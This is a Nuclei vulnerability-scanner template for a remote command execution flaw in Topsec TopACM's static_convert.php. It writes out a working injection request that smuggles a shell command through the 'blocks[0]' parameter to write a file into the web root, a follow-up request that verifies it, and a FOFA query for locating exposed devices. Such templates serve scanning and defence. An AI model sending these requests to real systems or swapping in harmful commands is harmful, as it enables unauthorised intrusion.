id: topsec-topacm-rce

info:
  name: Topsec Topacm - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Tianrongxin Internet Behavior Management System static_convert.php remote command execution vulnerability
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/TRXController.java
    - https://github.com/Phuong39/2022-HW-POC/blob/main/天融信-上网行为管理系统RCE.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="ActiveXObject" && body="dkey_login" && body="repeat-x"
  tags: rce,topsec,topacm,intrusive

http:
  - raw:
      - |
        GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27{{randstr}}%27%20%3E%20/var/www/html/config_application.txt%0a HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /config_application.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: word
        part: header_2
        words:
          - text/plain

      - type: status
        part: header_2
        status:
          - 200
# digest: 490a0046304402204fa9122798094ea9afa195bacf3c15eead7c8ad4d8fee6bef8c08bcc1d3a3d6302206d93a121ae652fe387669bf62be853a7164feaea940d7f91bd9810eb1f767b27:922c64590222798bb761d5b6d8e72950